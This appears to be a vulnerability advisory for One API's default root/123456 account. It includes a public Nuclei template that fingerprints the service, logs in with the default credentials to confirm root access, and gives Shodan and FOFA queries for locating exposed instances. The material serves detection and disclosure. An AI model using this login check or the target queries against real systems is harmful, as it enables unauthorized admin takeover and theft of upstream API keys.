One API creates the root user root with the password 123456 on first start when the user table is empty, and the password remains valid until it is changed. An attacker who logs in with these credentials gets the root role and can read and change the upstream LLM provider channels and their API keys, issue tokens and redemption codes with unlimited quota, and manage users and system options.
Details
Severity
高危
Published
PoC
Public
PoC
id: one-api-default-login
info:
name: One API - Default Login
author: s4e-io
severity: high
description: |
One API creates the root user root with the password 123456 on first start when the user table is empty, and the password remains valid until it is changed. An attacker who logs in with these credentials gets the root role and can read and change the upstream LLM provider channels and their API keys, issue tokens and redemption codes with unlimited quota, and manage users and system options.
reference:
- https://github.com/songquanpeng/one-api/blob/v0.6.10/README.en.md
- https://github.com/songquanpeng/one-api/blob/v0.6.10/model/main.go
- https://github.com/songquanpeng/one-api/blob/v0.6.10/controller/user.go
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
vendor: songquanpeng
product: one-api
shodan-query: http.title:"One API"
fofa-query: title="One API"
tags: one-api,llm,ai-gateway,default-login,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/status HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"success\":true", "\"system_name\":", "\"quota_per_unit\":", "\"top_up_link\":")'
condition: and
internal: true
- raw:
- |
POST /api/user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
attack: pitchfork
payloads:
username:
- root
password:
- "123456"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(header, "session=")'
- 'contains_all(body, "\"success\":true", "\"username\":\"root\"", "\"role\":100,")'
condition: and
extractors:
- type: dsl
dsl:
- username + ":" + password
# digest: 490a0046304402202340261188feb708fe31c56ca46ba0950c6c496fe248c997a5a029707f4e78d902207a3f92fe37f85410820d694382a97184ef9a66e4b08c45ebe0f5d1bc00a40c2f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.